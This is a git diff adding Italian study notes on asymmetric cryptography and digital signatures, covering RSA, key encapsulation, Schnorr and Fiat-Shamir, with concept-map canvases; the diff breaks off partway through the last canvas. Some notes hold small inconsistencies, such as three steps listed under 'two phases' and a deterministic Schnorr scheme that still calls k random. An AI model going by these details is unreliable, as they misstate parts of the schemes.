+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/integrated encryption scheme.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["IES"]
+---
+
+[[funzione|Protocollo]] di [[crittografia ibrida]] che utilizza sia [[scambio di chiave autenticato basato su Diffie-Hellman]] sia [[crittografia simmetrica moderna]].
+
+## Funzionamento
+
+È composto da due fasi:
+1. [[scambio di chiave autenticato basato su Diffie-Hellman]]
+2. [[derivazione di chiave simmetrica da chiavi pubbliche]]
+3. [[crittografia simmetrica autenticata]]
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/key encapsulation.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/key encapsulation.md
new file mode 100644
index 0000000..65911a7
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/key encapsulation.md	
@@ -0,0 +1,12 @@
+Famiglia di [[funzione|protocolli]] di [[crittografia ibrida]] che cifrano una [[chiave simmetrica]] attraverso un [[funzione|protocollo]] di [[crittografia asimmetrica]].
+
+## Requisiti
+
+- Il mittente deve conoscere la [[chiave pubblica]] del destinatario.
+
+## Funzionamento
+
+1. 1️⃣ genera una chiave simmetrica.
+2. 1️⃣ cifra la chiave simmetrica con la chiave pubblica di 2️⃣.
+3. 1️⃣ invia la chiave cifrata a 2️⃣.
+4. 2️⃣ decifra la chiave simmetrica con sua chiave privata.
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/mask generation function.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/mask generation function.md
new file mode 100644
index 0000000..e69de29
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/million message attack.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/million message attack.md
new file mode 100644
index 0000000..2ce7353
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/million message attack.md	
@@ -0,0 +1 @@
+[[padding oracle attack]] per [[PKCS1 v15|PKCS#1 v1.5]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/problema RSA.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/problema RSA.md
new file mode 100644
index 0000000..b3ef97b
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/problema RSA.md	
@@ -0,0 +1,17 @@
+---
+aliases: ["problema Rivest-Shamir-Adleman"]
+---
+
+[[problema]] relativo alla seguente equazione:
+$$
+\LARGE m^{{\color{orange} e} \times {\color{lime} d}} = m \mod {\color{orange} N}
+$$
+Dati:
+- ${\color{orange} N} = p \times q$ (un prodotto di [[numero primo|numeri primi]])
+- $\color{orange} e$ (la [[chiave pubblica]])
+- $m^{\color{orange} e}$ (il [[ciphertext]])
+
+Si vuole determinare:
+- $\color{lime} p$ e $\color{lime} q$ (i [[numero primo|numeri primi]] fattori di $\color{orange} N$)
+- $\color{lime} d$ (la [[chiave privata]])
+- $m$ (un [[generatore di un gruppo ciclico]])
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/scambio di chiave simmetrica basato sull'incapsulamento.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/scambio di chiave simmetrica basato sull'incapsulamento.md
new file mode 100644
index 0000000..05da54c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/scambio di chiave simmetrica basato sull'incapsulamento.md	
@@ -0,0 +1,2 @@
+[[funzione ideale]] di [[scambio di chiave autenticato]].
+
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/textbook RSA.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/textbook RSA.md
new file mode 100644
index 0000000..0856765
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/textbook RSA.md	
@@ -0,0 +1,23 @@
+[[funzione]] di [[crittografia asimmetrica]] basata sul [[problema RSA]].
+
+## Funzionamento
+
+### Generazione delle chiavi
+
+1. Si generano due [[numero primo|numeri primi]] grandi $p$ e $q$.
+2. Si seleziona l'[[esponente pubblico]] $\color{orange} e$ in modo casuale o ponendo ${\color{orange} e} = 65537$.
+3. Si calcola il [[modulo pubblico]] ${\color{orange} N} = p \times q$.
+4. Si calcola l'[[esponente privato]] ${\color{lime} d} = e^{-1} \mod (p-1) (q-1)$
+
+### [[funzione di cifratura]]
+
+1. Si calcola $ciphertext = plaintext^{\color{orange} e} \mod {\color{orange} N}$.
+
+### [[funzione di decifratura]]
+
+1. Si calcola $plaintext = ciphertext^{\color{lime} d} \mod {\color{orange} N}$.
+
+## Vulnerabilità
+
+- La [[congettura della fattorizzazione]] non è valida per messaggi di dimensione piccola.
+- È [[malleabilità|malleabile]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/trapdoor one-way function.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/trapdoor one-way function.md
new file mode 100644
index 0000000..777512f
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/trapdoor one-way function.md	
@@ -0,0 +1 @@
+[[funzione]] [[invertibile]] solo se si conosce un dato parametro.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/★ mappa concettuale.canvas b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/★ mappa concettuale.canvas
new file mode 100644
index 0000000..95dd5af
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/★ mappa concettuale.canvas	
@@ -0,0 +1,40 @@
+{
+	"nodes":[
+		{"id":"7486561ed81d4450","x":340,"y":-2140,"width":800,"height":3080,"color":"6","type":"group","label":"Crittografia asimmetrica"},
+		{"id":"ee33b01a552467a9","x":1260,"y":-1260,"width":1000,"height":2200,"color":"6","type":"group","label":"Crittografia ibrida"},
+		{"type":"group","id":"06c1dd197e258d8f","x":-1340,"y":-1100,"width":1000,"height":440,"color":"1","label":"Attacco"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/textbook RSA.md","id":"4e00841406c9cc7b","x":360,"y":-360,"width":760,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/funzione toziente.md","id":"7177927c725c6239","x":-200,"y":520,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/problema RSA.md","id":"05ac505c572c5509","x":-200,"y":-360,"width":400,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v15.md","subpath":"#PKCS 1 v1.5","id":"620b419c6b98ae27","x":360,"y":-1240,"width":760,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v20.md","subpath":"#PKCS 1 v2.0","id":"386833fdd9dfcfdb","x":360,"y":-2120,"width":760,"height":720,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità.md","id":"7516f9013e99dd4a","x":-200,"y":-1080,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/million message attack.md","id":"4c581f69f9af5ac6","x":-760,"y":-1080,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding oracle attack.md","id":"b2f4ec2368ce63fc","x":-1320,"y":-1080,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/elliptic curve integrated encryption scheme.md","id":"7db2bde8e33f0fa4","x":1280,"y":-1240,"width":400,"height":720,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia asimmetrica.md","id":"77b2ed1b7122eee5","x":360,"y":520,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/congettura della fattorizzazione.md","id":"9357869e3f0392e3","x":-200,"y":1080,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia ibrida.md","id":"7c6265e52f838f7b","x":1360,"y":520,"width":800,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/integrated encryption scheme.md","id":"0932e61bbc445535","x":1280,"y":-360,"width":400,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/key encapsulation.md","id":"658f4bf0bf5ac3ff","x":1840,"y":-360,"width":400,"height":720,"color":"4"},
+		{"id":"888bb894133693bb","x":-760,"y":-200,"width":400,"height":400,"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/trapdoor one-way function.md"}
+	],
+	"edges":[
+		{"id":"6b19ff917847f139","fromNode":"05ac505c572c5509","fromSide":"bottom","toNode":"7177927c725c6239","toSide":"top","toEnd":"none"},
+		{"id":"b0041f62972ca6be","fromNode":"7177927c725c6239","fromSide":"bottom","toNode":"9357869e3f0392e3","toSide":"top","toEnd":"none"},
+		{"id":"85485a28b0f12e9a","fromNode":"7177927c725c6239","fromSide":"right","toNode":"77b2ed1b7122eee5","toSide":"left","toEnd":"none"},
+		{"id":"4cbb673e31b929a6","fromNode":"77b2ed1b7122eee5","fromSide":"right","toNode":"7c6265e52f838f7b","toSide":"left","toEnd":"none"},
+		{"id":"de357458233f2f44","fromNode":"77b2ed1b7122eee5","fromSide":"top","toNode":"4e00841406c9cc7b","toSide":"bottom","toEnd":"none"},
+		{"id":"a122c08e3c2ec715","fromNode":"05ac505c572c5509","fromSide":"right","toNode":"4e00841406c9cc7b","toSide":"left","toEnd":"none"},
+		{"id":"5432ad197e8555d6","fromNode":"4e00841406c9cc7b","fromSide":"top","toNode":"620b419c6b98ae27","toSide":"bottom"},
+		{"id":"57f129b68b29827e","fromNode":"620b419c6b98ae27","fromSide":"top","toNode":"386833fdd9dfcfdb","toSide":"bottom","color":"4"},
+		{"id":"dddb86777c336ca8","fromNode":"4e00841406c9cc7b","fromSide":"left","toNode":"7516f9013e99dd4a","toSide":"right","toEnd":"none"},
+		{"id":"35bca2fe93ecfbfd","fromNode":"620b419c6b98ae27","fromSide":"left","toNode":"7516f9013e99dd4a","toSide":"right","toEnd":"none"},
+		{"id":"5c7d6747d123520c","fromNode":"7516f9013e99dd4a","fromSide":"left","toNode":"4c581f69f9af5ac6","toSide":"right","toEnd":"none"},
+		{"id":"d0a43210b2d284d2","fromNode":"4c581f69f9af5ac6","fromSide":"left","toNode":"b2f4ec2368ce63fc","toSide":"right","toEnd":"none"},
+		{"id":"be7f087d94e7e440","fromNode":"7c6265e52f838f7b","fromSide":"top","toNode":"0932e61bbc445535","toSide":"bottom"},
+		{"id":"5fc59621534e82c8","fromNode":"0932e61bbc445535","fromSide":"top","toNode":"7db2bde8e33f0fa4","toSide":"bottom","color":"4"},
+		{"id":"f3e6856adff26571","fromNode":"7c6265e52f838f7b","fromSide":"top","toNode":"658f4bf0bf5ac3ff","toSide":"bottom","color":"4"},
+		{"id":"58351b28f822380f","fromNode":"05ac505c572c5509","fromSide":"left","toNode":"888bb894133693bb","toSide":"right","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Edwards-curve digital signature algorithm.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Edwards-curve digital signature algorithm.md
new file mode 100644
index 0000000..edf6608
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Edwards-curve digital signature algorithm.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["EdDSA"]
+---
+
+[[funzione]] che implementa un [[signature scheme]] appoggiandosi allo [[Schnorr signature scheme]] ma facendo uso dei [[gruppo ciclico su curva ellittica|gruppi ciclici su curva ellittica]] della [[Curve25519]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/PKCS1 v21.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/PKCS1 v21.md
new file mode 100644
index 0000000..31b4626
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/PKCS1 v21.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["PKCS#1 v2.1", "RSA-PSS"]
+---
+
+# PKCS#1 v2.1
+
+[[funzione]] che implementa un [[signature scheme]] che rafforza [[PKCS1 v15]] codificando anticipatamente il messaggio con [[probabilistic signature scheme]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr deterministic signature scheme.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr deterministic signature scheme.md
new file mode 100644
index 0000000..7d3e089
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr deterministic signature scheme.md	
@@ -0,0 +1,18 @@
+[[funzione]] che implementa un [[signature scheme]] in modo [[operation framework deterministico|deterministico]] usando una [[key derivation function]] per i numeri casuali.
+
+## Requisiti
+
+- Gli output della [[funzione di hashing]] devono essere [[casualità crittografica|casuali]].
+
+## Funzionamento
+
+0. 1️⃣ vuole dimostrare di conoscere ${\color{orange} Y} = {\color{orange} g}^{\color{lime} x} \mod p$.
+1. 1️⃣ calcola il primo [[commitment]] $r = \mathrm{KDF}({\color{lime} x}, Data)$.
+2. 1️⃣ calcola il secondo [[commitment]] ${\color{orange} R} = {\color{orange} g}^r$.
+	- Usando come $k$ un numero [[casualità crittografica|casuale]].
+3. 1️⃣ calcola una [[challenge]] ${\color{orange} c} = \mathrm{hash}({\color{orange} R}, Data)$.
+	- Usando come ${\color{orange} c}$ un numero [[casualità crittografica|casuale]].
+	- Usando come $Data$ i [[dati associati]] da firmare.
+4. 1️⃣ calcola il [[witness]] ${\color{orange} s} = k + {\color{lime} x} \cdot {\color{orange} c}$.
+5. 1️⃣ invia il [[commitment]], la [[challenge]], e il [[witness]] a 2️⃣.
+6. 2️⃣ effettua la verifica ${\color{orange} g^s} = {\color{orange} g}^{k + {\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} g}^k \cdot {\color{orange} g}^{{\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} R} \cdot {\color{orange} Y^c}$ .
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr signature scheme.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr signature scheme.md
new file mode 100644
index 0000000..99f76b3
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr signature scheme.md	
@@ -0,0 +1,16 @@
+[[funzione]] che implementa un [[signature scheme]] aggiungendo [[dati associati]] alla computazione della [[challenge]].
+
+## Requisiti
+
+- Gli output della [[funzione di hashing]] devono essere [[casualità crittografica|casuali]].
+
+## Funzionamento
+
+0. 1️⃣ vuole dimostrare di conoscere ${\color{orange} Y} = {\color{orange} g}^{\color{lime} x} \mod p$.
+1. 1️⃣ calcola il [[commitment]] ${\color{orange} R} = {\color{orange} g}^k$.
+	- Usando come $k$ un numero [[casualità crittografica|casuale]].
+2. 1️⃣ calcola una [[challenge]] ${\color{orange} c} = \mathrm{hash}({\color{orange} R}, Data)$.
+	- In quanto l'output di $\mathrm{hash}( {\color{orange} R}, Data )$ è un numero [[casualità crittografica|casuale]] per 1️⃣.
+4. 1️⃣ calcola il [[witness]] ${\color{orange} s} = k + {\color{lime} x} \cdot {\color{orange} c}$.
+5. 1️⃣ invia il [[commitment]], la [[challenge]], e il [[witness]] a 2️⃣.
+6. 2️⃣ effettua la verifica ${\color{orange} g^s} = {\color{orange} g}^{k + {\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} g}^k \cdot {\color{orange} g}^{{\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} R} \cdot {\color{orange} Y^c}$ .
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/digital signature algorithm.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/digital signature algorithm.md
new file mode 100644
index 0000000..f5fd0cc
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/digital signature algorithm.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["DSA"]
+---
+
+[[funzione]] che implementa un [[signature scheme]] in modo simile allo [[Schnorr signature scheme]].
+
+## Difetti
+
+- È stata pubblicata senza dimostrazione.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/elliptic curve digital signature algorithm.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/elliptic curve digital signature algorithm.md
new file mode 100644
index 0000000..2430e42
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/elliptic curve digital signature algorithm.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["ECDSA"]
+---
+
+[[funzione]] che implementa un [[signature scheme]] utilizzando [[gruppo ciclico su curva ellittica|gruppi ciclici su curve ellittiche]] nel [[digital signature algorithm]].
+
+## Difetti
+
+- È stata pubblicata senza dimostrazione.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/fiducia.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/fiducia.md
new file mode 100644
index 0000000..c59c445
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/fiducia.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["trust"]
+---
+
+Riconoscimento da parte di un [[agente]] della validità di una relazione tra [[chiave pubblica]] e [[identità]] di un altro [[user agent]].
+
+> Questa chiave pubblica è di Alice. Mi fido di essa, visto che è qui di fianco a me e mi dice che è la sua!
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/firma digitale.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/firma digitale.md
new file mode 100644
index 0000000..4acd922
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/firma digitale.md	
@@ -0,0 +1,3 @@
+[[risultato]] di un [[signature scheme]].
+
+[[blob]] di [[dimensione fissa]] che [[problema di firma digitale|autentica]] il mittente di un messaggio facendo uso di una [[chiave pubblica]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/full domain hash.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/full domain hash.md
new file mode 100644
index 0000000..1e8f4f6
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/full domain hash.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["FDH"]
+---
+
+#Extra [[Procedura]] di codifica preliminare [[PKCS1 v21|PKCS#1 v2.1]] che prevede che il dato da firmare sia [[estendibilità|esteso]] a una dimensione pari a quella del modulo usato per l'[[RSA]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/probabilistic signature scheme.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/probabilistic signature scheme.md
new file mode 100644
index 0000000..9da5a93
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/probabilistic signature scheme.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["PSS"]
+---
+
+[[Procedura]] di codifica dato per evitare che sia vulnerabile a determinati tipi di attacchi se utilizzata in [[PKCS1 v15|PKCS#1 v1.5]].
+
+Utilizzata da [[PKCS1 v21|PKCS#1 v2.1]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/problema di firma digitale.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/problema di firma digitale.md
new file mode 100644
index 0000000..c62f0e4
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/problema di firma digitale.md	
@@ -0,0 +1,3 @@
+[[problema]] in cui si vuole [[autenticità|autenticare]] un dato a cui ha avuto accesso un [[adaptive chosen-ciphertext attacker]], ma senza permettere a chi lo riceve di creare ulteriori dati autenticati.
+
+È la combinazione del problema di [[autenticazione]] con quello di [[zero-knowledge proof]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr interattivo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr interattivo.md
new file mode 100644
index 0000000..aa83d82
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr interattivo.md	
@@ -0,0 +1,21 @@
+---
+aliases: ["Schnorr identification protocol"]
+---
+
+[[funzione]] di [[zero-knowledge proof]] [[interattivo]] con [[honest verifier]].
+
+Sfrutta la [[congettura Diffie-Hellman decisionale]].
+
+## Funzionamento
+
+0. 1️⃣ vuole dimostrare di conoscere ${\color{orange} Y} = {\color{orange} g}^{\color{lime} x} \mod p$.
+1. 1️⃣ invia il [[generatore di un gruppo ciclico|generatore]] ${\color{orange} g}$ a 2️⃣.
+2. 1️⃣ calcola il [[commitment]] ${\color{orange} R} = {\color{orange} g}^k$.
+	- Usando come $k$ un numero [[casualità crittografica|casuale]] per 2️⃣.
+1. 1️⃣ invia il [[commitment]] a 2️⃣.
+2. 2️⃣ calcola una [[challenge]] ${\color{orange} c}$.
+	- Usando come ${\color{orange} c}$ un numero [[casualità crittografica|casuale]] per 1️⃣.
+1. 2️⃣ invia la [[challenge]] a 1️⃣.
+2. 1️⃣ calcola il [[witness]] ${\color{orange} s} = k + {\color{lime} x} \cdot {\color{orange} c}$.
+3. 1️⃣ invia il [[witness]] a 2️⃣.
+4. 2️⃣ effettua la verifica ${\color{orange} g^s} = {\color{orange} g}^{k + {\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} g}^k \cdot {\color{orange} g}^{{\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} R} \cdot {\color{orange} Y^c}$ .
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr non-interattivo.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr non-interattivo.md
new file mode 100644
index 0000000..139436d
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr non-interattivo.md	
@@ -0,0 +1,18 @@
+[[funzione]] di [[zero-knowledge proof]] [[non-interattivo]] con [[honest verifier]].
+
+Aggiunge la [[trasformazione di Fiat-Shamir]] al [[protocollo di identificazione di Schnorr interattivo]].
+
+## Requisiti
+
+- Gli output della [[funzione di hashing]] devono essere [[casualità crittografica|casuali]].
+
+## Funzionamento
+
+0. 1️⃣ vuole dimostrare di conoscere ${\color{orange} Y} = {\color{orange} g}^{\color{lime} x} \mod p$.
+2. 1️⃣ calcola il [[commitment]] ${\color{orange} R} = {\color{orange} g}^k$.
+	- Usando come $k$ un numero [[casualità crittografica|casuale]] per 2️⃣.
+4. 1️⃣ calcola una [[challenge]] ${\color{orange} c} = \mathrm{hash}({\color{orange} R})$.
+	- In quanto l'output di $\mathrm{hash}( {\color{orange} R} )$ è un numero [[casualità crittografica|casuale]] per 1️⃣.
+6. 1️⃣ calcola il [[witness]] ${\color{orange} s} = k + {\color{lime} x} \cdot {\color{orange} c}$.
+7. 1️⃣ invia il [[commitment]], la [[challenge]], e il [[witness]] a 2️⃣.
+8. 2️⃣ effettua la verifica ${\color{orange} g^s} = {\color{orange} g}^{k + {\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} g}^k \cdot {\color{orange} g}^{{\color{lime} x} \cdot {\color{orange} c}} = {\color{orange} R} \cdot {\color{orange} Y^c}$ .
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature forgery.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature forgery.md
new file mode 100644
index 0000000..246b2b3
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature forgery.md	
@@ -0,0 +1 @@
+[[attacco]] a [[signature scheme]] in cui l'[[avversario]] è in grado di ricostruire qualsiasi [[problema di firma digitale]] senza conoscere la [[chiave privata]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature scheme.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature scheme.md
new file mode 100644
index 0000000..2088445
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature scheme.md	
@@ -0,0 +1,3 @@
+[[funzione ideale]] per [[problema di firma digitale]] che:
+- accetta in input una [[chiave privata]] e un [[testo]] di dimensione arbitraria
+- emette in output una [[firma]] verificabile con la corrispondente [[chiave pubblica]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/transcript.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/transcript.md
new file mode 100644
index 0000000..62bc6a8
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/transcript.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["trascritto", "trascrizione"]
+---
+
+In un [[funzione|protocollo]], l'elenco di tutti i [[dato|dati]] inviati fino a un certo punto.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/trasformazione di Fiat-Shamir.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/trasformazione di Fiat-Shamir.md
new file mode 100644
index 0000000..320b8ce
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/trasformazione di Fiat-Shamir.md	
@@ -0,0 +1,17 @@
+---
+aliases: ["Fiat-Shamir transform", "Fiat-Shamir transformation", "Fiat-Shamir heuristic"]
+---
+
+[[Trasformazione]] attraverso la quale è possibile cambiare una [[funzione]] di [[zero-knowledge proof]] [[interattiva]] in una [[non-interattiva]].
+
+## Requisiti
+
+- Gli output della [[funzione di hashing]] devono essere [[casualità crittografica|casuali]].
+
+## Funzionamento
+
+Sostituisce alla [[challenge]] la computazione di un [[hash]] del [[commitment]].
+
+```python
+challenge = cryptohash(commitment)
+```
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/witness.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/witness.md
new file mode 100644
index 0000000..2add836
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/witness.md	
@@ -0,0 +1,5 @@
+[[Dato]] che dimostra a terze parti che un [[agente]] è a conoscenza di un altro dato, senza rivelare il dato stesso.
+​
+## #Extra Etimologia
+
+Prende il nome dal concetto matematico di [*witness*](https://en.wikipedia.org/wiki/Witness_(mathematics)).
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/zero-knowledge proof.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/zero-knowledge proof.md
new file mode 100644
index 0000000..b046d23
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/zero-knowledge proof.md	
@@ -0,0 +1 @@
+[[problema]] in cui si vuole [[dimostrare la conoscenza]] di un dato, detto [[witness]], senza rivelarlo.
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/★ mappa concettuale.canvas b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/★ mappa concettuale.canvas
new file mode 100644
index 0000000..c3a1f12
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/★ mappa concettuale.canvas	
@@ -0,0 +1,44 @@
+{
+	"nodes":[
+		{"type":"group","id":"f6c3c772efffcbe5","x":-700,"y":-1900,"width":2040,"height":1680,"color":"6","label":"Schnorr signature scheme"},
+		{"type":"group","id":"826eaaa953e096b3","x":2020,"y":1020,"width":440,"height":1000,"color":"5","label":"Difesa"},
